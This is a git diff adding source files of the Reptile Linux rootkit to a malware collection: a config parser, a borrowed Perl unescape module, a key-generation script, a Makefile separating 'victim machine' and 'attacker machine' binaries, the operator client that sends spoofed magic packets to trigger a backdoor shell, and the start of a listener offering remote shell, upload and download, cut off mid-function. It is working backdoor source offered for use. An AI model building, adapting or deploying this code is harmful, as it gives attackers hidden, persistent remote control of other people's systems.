printd(DEBUG_PARSE, "%s:%d:source %s\n", zconf_curname(), zconf_lineno(), $2); + zconf_nextfile($2); +}; + +/* comment entry */ + +comment: T_COMMENT prompt T_EOL +{ + menu_add_entry(NULL); + menu_add_prompt(P_COMMENT, $2, NULL); + printd(DEBUG_PARSE, "%s:%d:comment\n", zconf_curname(), zconf_lineno()); +}; + +comment_stmt: comment depends_list +{ + menu_end_entry(); +}; + +/* help option */ + +help_start: T_HELP T_EOL +{ + printd(DEBUG_PARSE, "%s:%d:help\n", zconf_curname(), zconf_lineno()); + zconf_starthelp(); +}; + +help: help_start T_HELPTEXT +{ + current_entry->help = $2; +}; + +/* depends option */ + +depends_list: + /* empty */ + | depends_list depends + | depends_list T_EOL + | depends_list option_error +; + +depends: T_DEPENDS T_ON expr T_EOL +{ + menu_add_dep($3); + printd(DEBUG_PARSE, "%s:%d:depends on\n", zconf_curname(), zconf_lineno()); +}; + +/* visibility option */ + +visibility_list: + /* empty */ + | visibility_list visible + | visibility_list T_EOL +; + +visible: T_VISIBLE if_expr +{ + menu_add_visibility($2); +}; + +/* prompt statement */ + +prompt_stmt_opt: + /* empty */ + | prompt if_expr +{ + menu_add_prompt(P_PROMPT, $1, $2); +}; + +prompt: T_WORD + | T_WORD_QUOTE +; + +end: T_ENDMENU T_EOL { $$ = $1; } + | T_ENDCHOICE T_EOL { $$ = $1; } + | T_ENDIF T_EOL { $$ = $1; } +; + +nl: + T_EOL + | nl T_EOL +; + +if_expr: /* empty */ { $$ = NULL; } + | T_IF expr { $$ = $2; } +; + +expr: symbol { $$ = expr_alloc_symbol($1); } + | symbol T_EQUAL symbol { $$ = expr_alloc_comp(E_EQUAL, $1, $3); } + | symbol T_UNEQUAL symbol { $$ = expr_alloc_comp(E_UNEQUAL, $1, $3); } + | T_OPEN_PAREN expr T_CLOSE_PAREN { $$ = $2; } + | T_NOT expr { $$ = expr_alloc_one(E_NOT, $2); } + | expr T_OR expr { $$ = expr_alloc_two(E_OR, $1, $3); } + | expr T_AND expr { $$ = expr_alloc_two(E_AND, $1, $3); } +; + +symbol: T_WORD { $$ = sym_lookup($1, 0); free($1); } + | T_WORD_QUOTE { $$ = sym_lookup($1, SYMBOL_CONST); free($1); } +; + +word_opt: /* empty */ { $$ = NULL; } + | T_WORD + +%% + +void conf_parse(const char *name) +{ + struct symbol *sym; + int i; + + zconf_initscan(name); + + sym_init(); + _menu_init(); + rootmenu.prompt = menu_add_prompt(P_MENU, PRODUCT" Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; + zconfparse(); + if (zconfnerrs) + exit(1); + if (!modules_sym) + modules_sym = sym_find( "n" ); + + rootmenu.prompt->text = _(rootmenu.prompt->text); + rootmenu.prompt->text = sym_expand_string_value(rootmenu.prompt->text); + + menu_finalize(&rootmenu); + for_all_symbols(i, sym) { + if (sym_check_deps(sym)) + zconfnerrs++; + } + if (zconfnerrs) + exit(1); + sym_set_change_count(1); +} + +static const char *zconf_tokenname(int token) +{ + switch (token) { + case T_MENU: return "menu"; + case T_ENDMENU: return "endmenu"; + case T_CHOICE: return "choice"; + case T_ENDCHOICE: return "endchoice"; + case T_IF: return "if"; + case T_ENDIF: return "endif"; + case T_DEPENDS: return "depends"; + case T_VISIBLE: return "visible"; + } + return ""; +} + +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken) +{ + if (id->token != endtoken) { + zconf_error("unexpected '%s' within %s block", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + if (current_menu->file != current_file) { + zconf_error("'%s' in different file than '%s'", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + fprintf(stderr, "%s:%d: location of the '%s'\n", + current_menu->file->name, current_menu->lineno, + zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + return true; +} + +static void zconfprint(const char *err, ...) +{ + va_list ap; + + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconf_error(const char *err, ...) +{ + va_list ap; + + zconfnerrs++; + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconferror(const char *err) +{ + fprintf(stderr, "%s:%d: %s\n", zconf_curname(), zconf_lineno() + 1, err); +} + +static void print_quoted_string(FILE *out, const char *str) +{ + const char *p; + int len; + + putc('"', out); + while ((p = strchr(str, '"'))) { + len = p - str; + if (len) + fprintf(out, "%.*s", len, str); + fputs("\\\"", out); + str = p + 1; + } + fputs(str, out); + putc('"', out); +} + +static void print_symbol(FILE *out, struct menu *menu) +{ + struct symbol *sym = menu->sym; + struct property *prop; + + if (sym_is_choice(sym)) + fprintf(out, "\nchoice\n"); + else + fprintf(out, "\nconfig %s\n", sym->name); + switch (sym->type) { + case S_BOOLEAN: + fputs(" boolean\n", out); + break; + case S_TRISTATE: + fputs(" tristate\n", out); + break; + case S_STRING: + fputs(" string\n", out); + break; + case S_INT: + fputs(" integer\n", out); + break; + case S_HEX: + fputs(" hex\n", out); + break; + default: + fputs(" ???\n", out); + break; + } + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + switch (prop->type) { + case P_PROMPT: + fputs(" prompt ", out); + print_quoted_string(out, prop->text); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_DEFAULT: + fputs( " default ", out); + expr_fprint(prop->expr, out); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_CHOICE: + fputs(" #choice value\n", out); + break; + case P_SELECT: + fputs( " select ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_RANGE: + fputs( " range ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_MENU: + fputs( " menu ", out); + print_quoted_string(out, prop->text); + fputc('\n', out); + break; + default: + fprintf(out, " unknown prop %d!\n", prop->type); + break; + } + } + if (menu->help) { + int len = strlen(menu->help); + while (menu->help[--len] == '\n') + menu->help[len] = 0; + fprintf(out, " help\n%s\n", menu->help); + } +} + +void zconfdump(FILE *out) +{ + struct property *prop; + struct symbol *sym; + struct menu *menu; + + menu = rootmenu.list; + while (menu) { + if ((sym = menu->sym)) + print_symbol(out, menu); + else if ((prop = menu->prompt)) { + switch (prop->type) { + case P_COMMENT: + fputs("\ncomment ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + case P_MENU: + fputs("\nmenu ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + default: + ; + } + if (!expr_is_yes(prop->visible.expr)) { + fputs(" depends ", out); + expr_fprint(prop->visible.expr, out); + fputc('\n', out); + } + } + + if (menu->list) + menu = menu->list; + else if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->prompt && menu->prompt->type == P_MENU) + fputs("\nendmenu\n", out); + if (menu->next) { + menu = menu->next; + break; + } + } + } +} + +#include "zconf.lex.c" +#include "util.c" +#include "confdata.c" +#include "expr.c" +#include "symbol.c" +#include "menu.c" diff --git a/Linux/Rootkits/Reptile/scripts/lib/Unescape.pm b/Linux/Rootkits/Reptile/scripts/lib/Unescape.pm new file mode 100644 index 0000000..d5d14c1 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/lib/Unescape.pm @@ -0,0 +1,228 @@ +package String::Unescape; + +use 5.008; +use strict; +use warnings; + +# ABSTRACT: Unescape perl-escaped string +our $VERSION = 'v0.0.3'; # VERSION + +require Exporter; +our (@EXPORT_OK) = qw(unescape); + +use Carp; + +my %map = ( + t => "\t", + n => "\n", + r => "\r", + f => "\f", + b => "\b", + a => "\a", + e => "\e", +); + +my %mapc = map { chr($_) => chr($_ ^ 0x60) } 97..122; + +my %convs = ( + l => sub { lcfirst shift }, + u => sub { ucfirst shift }, +); + +my %convp = ( + L => sub { lc shift }, + U => sub { uc shift }, + Q => sub { quotemeta shift }, +); + +if($^V ge v5.16.0) { + # All constant stringy eval so this should be safe. + eval q{use feature qw(fc); $convp{F} = sub { fc(shift) };}; ## no critic (ProhibitStringyEval) +} else { + $convp{F} = sub { 'F'.shift }; # \E omitted +} + +my $from_code = sub { chr(hex(shift)); }; +my $from_name; + +if($^V ge v5.14.0) { + $from_name = sub { + my $name = shift; + return charnames::string_vianame($name) || die "Unknown charname $name"; + }; +} else { + $from_name = sub { + my $name = shift; + my $code = charnames::vianame($name); + die "Unknown charname $name" if ! defined $code; + return chr($code); + }; +} + +my $re_single = qr/ + \\([tnrfbae]) | # $1 : one char + \\c(.) | # $2 : control + \\x\{([0-9a-fA-F]*)[^}]*\} | # $3 : \x{} + \\x([0-9a-fA-F]{0,2}) | # $4 : \x + \\([0-7]{1,3}) | # $5 : \077 + \\o\{([0-7]*)([^}]*)\} | # $6, $7 : \o{} + \\N\{U\+([^}]*)\} | # $8 : \N{U+} + \\N\{([^}]*)\} | # $9 : \N{name} + + \\(l|u)(.?) | # $10, $11 : \l, \u + \\E | # + \\?(.) # $12 +/xs; + +my $convert_single = sub { + require charnames if defined $8 || defined $9; + + return $map{$1} if defined $1; + return exists $mapc{$2} ? $mapc{$2} : chr(ord($2) ^ 0x40) if defined $2; + return chr(hex($3)) if defined $3; + return chr(hex($4)) if defined $4; + return chr(oct($5)) if defined $5; + return chr(oct($6)) if defined $6 && $^V ge v5.14.0; + return 'o{'.$6.$7.'}' if defined $6; +# TODO: Need to check invalid cases + return $from_code->($8) if defined $8; + return $from_name->($9) if defined $9; + return $convs{$10}($11) if defined $10; + return $12 if defined $12; + return ''; # \E +}; + +my $apply_single = sub { + my $target = shift; + while($target =~ s/\G$re_single/$convert_single->()/gxse) { + last unless defined pos($target); + } + return $target; +}; + +# NOTE: I'm not sure the reason, but my $_re_recur; causes a error. +our $_re_recur; +$_re_recur = qr/ + \\([LUQF]) + (?:(?>(?:[^\\]|\\[^LUQFE])+)|(??{$_re_recur}))* + (?:\\E|\Z) +/xs; + +my $re_range = qr/ + ((?:[^\\]|\\[^LUQF])*) # $1: pre + (?: + \\([LUQF]) # $2: marker + ((?:(?>(?:[^\\]|\\[^LUQFE])+)|(??{$_re_recur}))*) # $3: content + (?:\\E|\Z) + )* +/xs; + +my $apply_range; + +my $convert_range = sub { + my ($pre, $marker, $content) = @_; + return + (defined $pre ? $apply_single->($pre) : ''). + (defined $marker ? $convp{$marker}($apply_range->($content)) : ''); +}; + +$apply_range = sub { + my $target = shift; + while($target =~ s/\G$re_range/$convert_range->($1, $2, $3)/gxse) { + last unless defined pos($target); + } + return $target; +}; + +sub unescape +{ + shift if @_ && eval { $_[0]->isa(__PACKAGE__); }; + croak 'No string is given' unless @_; + croak 'More than one argument are given' unless @_ == 1; + + return $apply_range->($_[0]); +} + +1; + +__END__ + +=pod + +=head1 NAME + +String::Unescape - Unescape perl-escaped string + +=head1 VERSION + +version v0.0.3 + +=head1 SYNOPSIS + + # Call as class method + print String::Unescape->unescape('\t\c@\x41\n'); + + # Call as function + use String::Escape qw(unescape); + print unescape('\t\c@\x41\n'); + +=head1 DESCRIPTION + +This module provides just one function, Perl's unescaping without variable interpolation. Sometimes, I want to provide a string including a character difficult to represent without escaping, outside from Perl. Also, sometimes, I can not rely on shell expansion. + + # App-count + count -t '\t' + +C can handle this situation but it has too more power than required. This is the purpose for this module. + +This module is intented to be compatible with Perl's native unescaping as much as possible, with the following limitation. +If the result is different from one by Perl beyond the limitation, it is considered as a bug. Please report it. + +=head2 LIMITATION + +There are the following exceptions that Perl's behavior is not emulated. + +=over 4 + +=item 1 + +Whether warning is produced or not. + +=item 2 + +Strings that perl doesn't accept. For those strings, the results by this module are undefined. + +=item 3 + +\L in \U and \U in \L. By perl, they are not stacked, which means all \Q, \L, \U and \F (if available) modifiers from the prior \L, \U or \F become to have no effect then restart the new \L, \U or \F conversion. By this module, stacked. + +=item 4 + +\L\u and \U\l. By Perl, they are swapped as \u\L and \l\U, respectively. By this module, not swapped. + +=back + +For 3 and 4, t/quirks_in_perl.t contains actual examples. + +=head1 METHODS + +=head2 C + +Returns unescaped C<$str>. For escaping, see L. + +=head1 REMARKS + +L in Perl 5.6 does not have required functionality that is Unicode name E-E code conversion in runtime, thus Perl 5.6 support is explicitly dropped. + +=head1 AUTHOR + +Yasutaka ATARASHI + +=head1 COPYRIGHT AND LICENSE + +This software is copyright (c) 2013 by Yasutaka ATARASHI. + +This is free software; you can redistribute it and/or modify it under +the same terms as the Perl 5 programming language system itself. + +=cut diff --git a/Linux/Rootkits/Reptile/scripts/random.sh b/Linux/Rootkits/Reptile/scripts/random.sh new file mode 100644 index 0000000..146d2a0 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/random.sh @@ -0,0 +1,24 @@ +#!/bin/bash + +function random_gen_hex { + RETVAL=$(cat /dev/urandom | head -c $1 | hexdump '-e"%x"') +} + +# Will be used one day +function random_gen_dec { + RETVAL=$(shuf -i 1-65535 -n 1) +} + +random_gen_hex 4 +AUTH=0x$RETVAL +random_gen_hex 4 +HTUA=0x$RETVAL + +cat >> $1 < +# +# YOU SHOULD PUT YOUR CUSTOM START ROUTINE HERE +# +#SHELL -t LHOST -p LPORT -s PASS -r INTERVAL +# +# This script should be executed after all hooks +# raise up, to enable us use reptile features on +# its start up. Then the file-tampering feature +# starts disabled to enable load this script +# properly. So, after all, we should enable +# file-tampering again +# +#CMD file-tampering +# +# Actually, there is no need to hide file content +# of this script, because if someone tries to +# investigate this, it means Reptile was get caught. +# But I am going to let this script as it is now ;) +# +# \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/userland/Makefile b/Linux/Rootkits/Reptile/userland/Makefile new file mode 100644 index 0000000..6cbd8da --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/Makefile @@ -0,0 +1,54 @@ +CC=gcc +CFLAGS+=-O3 -fPIC +INCLUDES+=-Iinclude +RM=rm -rf +BUILD_DIR?=$(PWD)/output +DESTRINGIFY=perl ../scripts/destringify.pl +CAT=cat +DEP_SRC=crypto/aes.c crypto/sha1.c transport/pel.c + +include ../.config + +shell: CFLAGS+=-DNAME=\"$(HIDE)\" -DAUTH=$(AUTH) -DHTUA=$(HTUA) +cmd: CFLAGS+=-DAUTH=$(AUTH) -DHTUA=$(HTUA) + +# Rules + +all: shell cmd + +# Those binaries will stay in the victim machine + +shell: build_dir + @ echo " CC $(BUILD_DIR)/shell" + @ $(CAT) shell.c | $(DESTRINGIFY) | $(CC) $(INCLUDES) $(CFLAGS) $(EXTRA_FLAGS) $(DEP_SRC) -o $(BUILD_DIR)/shell -xc - -lutil + @ strip $(BUILD_DIR)/shell + +cmd: build_dir + @ echo " CC $(BUILD_DIR)/cmd" + @ $(CAT) cmd.c | $(DESTRINGIFY) | $(CC) $(INCLUDES) $(CFLAGS) -o $(BUILD_DIR)/cmd -xc - + @ strip $(BUILD_DIR)/cmd + +# Those binaries will stay in the attacker machine + +listener: build_dir + @ echo " CC $(BUILD_DIR)/listener" + @ $(CC) $(INCLUDES) $(CFLAGS) $(DEP_SRC) client/listener.c -o $(BUILD_DIR)/listener -lreadline + @ strip $(BUILD_DIR)/listener + +packet: build_dir + @ echo " CC $(BUILD_DIR)/packet" + @ $(CC) $(INCLUDES) $(CFLAGS) client/packet.c -o $(BUILD_DIR)/packet + @ strip $(BUILD_DIR)/packet + +client: build_dir + @ echo " CC $(BUILD_DIR)/client" + @ $(CC) $(INCLUDES) $(CFLAGS) client/client.c -o $(BUILD_DIR)/client -lreadline + @ strip $(BUILD_DIR)/client + +.PHONY : clean + +build_dir: + @ mkdir -p $(BUILD_DIR) + +clean: + @ $(RM) $(BUILD_DIR) \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/userland/client/client.c b/Linux/Rootkits/Reptile/userland/client/client.c new file mode 100644 index 0000000..4c46eac --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/client/client.c @@ -0,0 +1,604 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "util.h" + +pid_t pid; +char *listener, *packet; + +char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost", + "rport", "prot", "pass", "token"}; + +char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST", + "RPORT", "PROT", "PASS", "TOKEN"}; + +char *description[] = {"Local host to receive the shell", + "Local port to receive the shell", + "Source host on magic packets (spoof)", + "Source port on magic packets (only for TCP/UDP)", + "Remote host", + "Remote port (only for TCP/UDP)", + "Protocol to send magic packet (ICMP/TCP/UDP)", + "Backdoor password (optional)", + "Token to trigger the shell"}; + +int num_variables = 9; //() { return sizeof(var_str) / sizeof(char *); } +char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; + +int help(char **args); +int __exit(char **args); +int set(char **args); +int unset(char **args); +int show(char **args); +int run(char **args); +int export(char **args); +int load(char **args); + +char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"}; +int (*builtin_func[])(char **) = {&help, &set, &unset, &show, &run, &export, &load, &__exit}; + +int num_builtins() +{ return sizeof(builtin_str) / sizeof(char *); } + +int launch(char **args) +{ + pid_t pid; + int status; + + pid = fork(); + if (pid == 0) { + if (execvp(args[0], args) == -1) { + perror("execvp"); + } + exit(EXIT_FAILURE); + } else if (pid < 0) { + perror("fork"); + } else { + do { + waitpid(pid, &status, WUNTRACED); + } while (!WIFEXITED(status) && !WIFSIGNALED(status)); + } + + return 1; +} + +void help_set() +{ + fprintf(stdout, "%s \n", builtin_str[1]); + fprintf(stdout, "Example: set LHOST 192.168.0.2\n"); +} + +void help_unset() +{ + fprintf(stdout, "%s \n", builtin_str[2]); + fprintf(stdout, "Example: unset RHOST\n"); +} + +void help_conf(int i) +{ + fprintf(stdout, "%s \n", builtin_str[i]); + fprintf(stdout, "Example: %s client.conf\n", builtin_str[i]); +} + +void no_help() +{ + fprintf(stdout, "This command doesn't need help\n"); +} + +int help(char **args) +{ + if (args[0] == NULL) + return 1; + + if (args[1] != NULL) { + if (strcmp(args[1], builtin_str[0]) == 0) { + no_help(); + } else if (strcmp(args[1], builtin_str[1]) == 0) { + help_set(); + } else if (strcmp(args[1], builtin_str[2]) == 0) { + help_unset(); + } else if (strcmp(args[1], builtin_str[3]) == 0) { + no_help(); + } else if (strcmp(args[1], builtin_str[4]) == 0) { + no_help(); + } else if (strcmp(args[1], builtin_str[5]) == 0) { + help_conf(5); + } else if (strcmp(args[1], builtin_str[6]) == 0) { + help_conf(6); + } else if (strcmp(args[1], builtin_str[7]) == 0) { + no_help(); + } else { + fprintf(stdout, "This command is not valid!\n"); + } + } else { + fprintf(stdout, "\n\e[01;36mReptile Client\e[00m\n"); + fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n"); + fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]); + fprintf(stdout, "\t%s\t\tSet value to a variable\n", builtin_str[1]); + fprintf(stdout, "\t%s\t\tUnset value to a variable\n", builtin_str[2]); + fprintf(stdout, "\t%s\t\tShow the current configuration\n", builtin_str[3]); + fprintf(stdout, "\t%s\t\tRun the listener and send the magic packet\n", builtin_str[4]); + fprintf(stdout, "\t%s\t\tExport a configuration to a file\n", builtin_str[5]); + fprintf(stdout, "\t%s\t\tLoad a configuration from a file\n", builtin_str[6]); + fprintf(stdout, "\t%s\t\tExit this shell\n\n", builtin_str[7]); + fprintf(stdout, "Type: \"help \" to see specific help\n"); + } + + fprintf(stdout, "\n"); + return 1; +} + +int __exit(char **args) +{ + int i; + + if (args[0] == NULL) + return 1; + + for (i = 0; i < num_variables; i++) { + if (var_array[i]) + free(var_array[i]); + + var_array[i] = NULL; + } + + if (listener) + free(listener); + + if (packet) + free(packet); + + fprintf(stdout, "\n"); + return 0; +} + +int set(char **args) +{ + int i; + + if (args[0] == NULL) + return 1; + + if (args[1] == NULL || args[2] == NULL) { + fprintf(stdout, "%s wrong syntax!\n", bad); + return 1; + } + + for (i = 0; i < num_variables; i++) { + if (strcmp(args[1], var_str[i]) == 0 || + strcmp(args[1], var_str_up[i]) == 0) { + if (var_array[i]) + free(var_array[i]); + + var_array[i] = strdup(args[2]); + fprintf(stdout, "%s %s -> %s\n", good, args[1], + args[2]); + return 1; + } + } + + fprintf(stdout, "%s wrong parameter!\n", bad); + return 1; +} + +int unset(char **args) +{ + int i; + + if (args[0] == NULL) + return 1; + + if (args[1] == NULL) { + fprintf(stdout, "%s wrong syntax!\n", bad); + return 1; + } + + for (i = 0; i < num_variables; i++) { + if (strcmp(args[1], var_str[i]) == 0 || + strcmp(args[1], var_str_up[i]) == 0) { + if (var_array[i]) + free(var_array[i]); + + var_array[i] = NULL; + fprintf(stdout, "%s %s -> UNSET\n", good, args[1]); + return 1; + } + } + + fprintf(stdout, "%s wrong parameter!\n", bad); + return 1; +} + +int show(char **args) +{ + int i; + + if (args[0] == NULL) + return 1; + + fprintf(stdout, "\n"); + fprintf(stdout, "\e[00;33mVAR\t\tVALUE\t\t\tDESCRIPTION\e[00m\n\n"); + + for (i = 0; i < num_variables; i++) { + if (var_array[i]) { + if (strlen(var_array[i]) >= 8) { + fprintf(stdout, "%s\t\t%s\t\t%s\n", + var_str_up[i], var_array[i], + description[i]); + } else if (strlen(var_array[i]) >= 16) { + fprintf(stdout, "%s\t\t%s\t%s\n", var_str_up[i], + var_array[i], description[i]); + } else { + fprintf(stdout, "%s\t\t%s\t\t\t%s\n", + var_str_up[i], var_array[i], + description[i]); + } + } else { + fprintf(stdout, "%s\t\t \t\t\t%s\n", var_str_up[i], + description[i]); + } + } + + fprintf(stdout, "\n"); + return 1; +} + +void interrupt(int signal) +{ + fprintf(stdout, "\r"); + fflush(stdout); + fprintf(stdout, "%s Interrupted: %d\n", warn, signal); +} + +int run(char **args) +{ + pid_t pid, pid2; + int status; + //char *envp[1] = {NULL}; + + if (args[0] == NULL) + return 1; + + if (!var_array[0]) { + fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[0]); + return 1; + } + + if (!var_array[1]) { + fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[1]); + return 1; + } + + if (!var_array[2]) { + fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[2]); + return 1; + } + + if (!var_array[4]) { + fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[4]); + return 1; + } + + if (!var_array[6]) { + fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[6]); + return 1; + } + + if (!var_array[8]) { + fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[8]); + return 1; + } + + if (!(strcmp(var_array[6], "icmp") == 0 || + strcmp(var_array[6], "ICMP") == 0)) { + if (!var_array[3]) { + fprintf(stdout, "%s %s is not defined!\n", bad, + var_str_up[3]); + return 1; + } + + if (!var_array[5]) { + fprintf(stdout, "%s %s is not defined!\n", bad, + var_str_up[5]); + return 1; + } + } + + char *arg_listener[] = {listener, "-p", var_array[1], "-s", + var_array[7], NULL, NULL}; + + char *arg_packet[] = {packet, "-t", var_array[4], "-x", + var_array[6], "-s", var_array[2], "-l", + var_array[0], "-p", var_array[1], "-k", + var_array[8], "-q", var_array[3], "-r", + var_array[5], NULL, NULL}; + + pid = fork(); + + if (pid == -1) + fatal("on forking proccess"); + + if (pid > 0) { + signal(SIGTERM, interrupt); + signal(SIGINT, interrupt); + + do { + waitpid(pid, &status, WUNTRACED); + } while (!WIFEXITED(status) && !WIFSIGNALED(status)); + } + + if (pid == 0) { + pid2 = fork(); + + if (pid2 == -1) + fatal("on forking proccess"); + + if (pid2 > 0) { + if (var_array[7] == NULL) { + arg_listener[3] = NULL; + arg_listener[4] = NULL; + } + if (execvp(arg_listener[0], arg_listener) == -1) + fprintf(stderr, "%s listener could not be launched\n", bad); + } + + if (pid2 == 0) { + if (strcmp(var_array[6], "icmp") == 0 || + strcmp(var_array[6], "ICMP") == 0) { + arg_packet[13] = NULL; + arg_packet[14] = NULL; + arg_packet[15] = NULL; + arg_packet[16] = NULL; + } + usleep(100 * 1500); + + if (execvp(arg_packet[0], arg_packet) == -1) { + fprintf(stderr, "%s packet could not be launched\n", bad); + kill(pid2, SIGINT); + } + } + } + + return 1; +} + +/* + * Thanks aliyuchang33 for suggesting this! ;) + * + * https://github.com/f0rb1dd3n/Reptile/pull/61/commits/0482eeff93c5b3f9097f7e06e2b2a0fcf248eb8e + * + */ + +int export(char **args) +{ + int vars; + FILE *confile; + + if (args[0] == NULL) + return 1; + + if (args[1] == NULL) { + fprintf(stdout, "%s wrong syntax!\n", bad); + return 1; + } + + if (!(confile = fopen(args[1], "w+"))) { + fprintf(stderr, "%s Cannot open config file\n", bad); + return 1; + } + + for (vars = 0; vars < 9; vars++) + fprintf(confile, "%s\n", var_array[vars]); + + fclose(confile); + fprintf(stdout, "%s Configuration exported\n", good); + return 1; +} + +int load(char **args) +{ + int vars; + FILE *confile; + + if (args[0] == NULL) + return 1; + + if (args[1] == NULL) { + fprintf(stdout, "%s wrong syntax!\n", bad); + return 1; + } + + if (!(confile = fopen(args[1], "r+"))) { + fprintf(stderr, "%s Cannot open config file\n", bad); + return 1; + } + + for (vars = 0; vars < 9; vars++) { + char arg[50] = {0}; + fgets(arg, 50, confile); + + if (strcmp(arg, "(null)\n")) { + arg[strlen(arg) - 1] = '\0'; + var_array[vars] = strdup(arg); + } + } + + fclose(confile); + fprintf(stdout, "%s Configuration loaded\n", good); + return 1; +} + +int execute(char **args) +{ + int i; + + if (args[0] == NULL) + return 1; + + for (i = 0; i < num_builtins(); i++) { + if (strcmp(args[0], builtin_str[i]) == 0) + return (*builtin_func[i])(args); + } + + return launch(args); +} + +char *read_line(void) +{ + int bufsize = RL_BUFSIZE; + int position = 0; + char *buffer = malloc(sizeof(char) * bufsize); + int c; + + if (!buffer) { + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + + while (1) { + c = getchar(); + + if (c == EOF) { + free(buffer); + exit(EXIT_SUCCESS); + } else if (c == '\n') { + buffer[position] = '\0'; + return buffer; + } else { + buffer[position] = c; + } + position++; + + if (position >= bufsize) { + bufsize += RL_BUFSIZE; + char *buffer_backup = buffer; + if ((buffer = realloc(buffer, bufsize)) == NULL) { + free(buffer_backup); + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + } + } +} + +char **parse(char *line) +{ + int bufsize = TOK_BUFSIZE, position = 0; + char **tokens = malloc(bufsize * sizeof(char *)); + char *token, **tokens_backup; + + if (!tokens) { + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + + token = strtok(line, TOK_DELIM); + while (token != NULL) { + tokens[position] = token; + position++; + + if (position >= bufsize) { + bufsize += TOK_BUFSIZE; + tokens_backup = tokens; + tokens = realloc(tokens, bufsize * sizeof(char *)); + if (!tokens) { + free(tokens_backup); + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + } + + token = strtok(NULL, TOK_DELIM); + } + tokens[position] = NULL; + return tokens; +} + +void client_loop() +{ + char *line; + char **args; + int status; + + do { + line = readline("\e[00;31mreptile-client> \e[00m"); + add_history(line); + + args = parse(line); + status = execute(args); + + free(line); + free(args); + } while (status); + + clear_history(); +} + +int main() +{ + int len; + char *pwd = get_current_dir_name(); + + system("clear"); + printf("\n\e[01;36mReptile Client\e[00m\n"); + printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n"); + banner2(); + printf("\n"); + + len = strlen(pwd); + + listener = (char *)malloc(len + 10); + + if (!listener) + fatal("malloc"); + + packet = (char *)malloc(len + 8); + + if (!packet) { + free(listener); + fatal("malloc"); + } + + bzero(listener, len + 10); + bzero(packet, len + 8); + + strcpy(listener, pwd); + strcat(listener, "/listener"); + + strcpy(packet, pwd); + strcat(packet, "/packet"); + + pid = fork(); + + if (pid == -1) + fatal("on forking proccess"); + + if (pid > 0) + client_loop(); + + // if (pid == 0) + // background job + + return EXIT_SUCCESS; +} diff --git a/Linux/Rootkits/Reptile/userland/client/listener.c b/Linux/Rootkits/Reptile/userland/client/listener.c new file mode 100644 index 0000000..0385508 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/client/listener.c @@ -0,0 +1,808 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "config.h" +#include "pel.h" +#include "util.h" + +extern char *optarg; +unsigned char message[BUFSIZE + 1]; +char *password = NULL; +int sockfd; +pid_t pid; + +int help(int sock, char **args); +int __exit(int sock, char **args); +int shell(int sock, char **args); +int get_file(int sock, char **args); +int put_file(int sock, char **args); +int delay(int sock, char **args); + +char *builtin_str[] = {"help", "download", "upload", "shell", "delay", "exit"}; +int (*builtin_func[])(int sock, char **) = {&help, &get_file, &put_file, + &shell, &delay, &__exit}; + +int num_builtins() { return sizeof(builtin_str) / sizeof(char *); } + +void pel_error(char *s) +{ + switch (pel_errno) { + case PEL_CONN_CLOSED: + fprintf(stderr, "%s %s: Connection closed.\n", bad, s); + break; + + case PEL_SYSTEM_ERROR: + p_error(s); + break; + + case PEL_WRONG_CHALLENGE: + fprintf(stderr, "%s %s: Wrong challenge.\n", bad, s); + break; + + case PEL_BAD_MSG_LENGTH: + fprintf(stderr, "%s %s: Bad message length.\n", bad, s); + break; + + case PEL_CORRUPTED_DATA: + fprintf(stderr, "%s %s: Corrupted data.\n", bad, s); + break; + + case PEL_UNDEFINED_ERROR: + fprintf(stderr, "%s %s: No error.\n", bad, 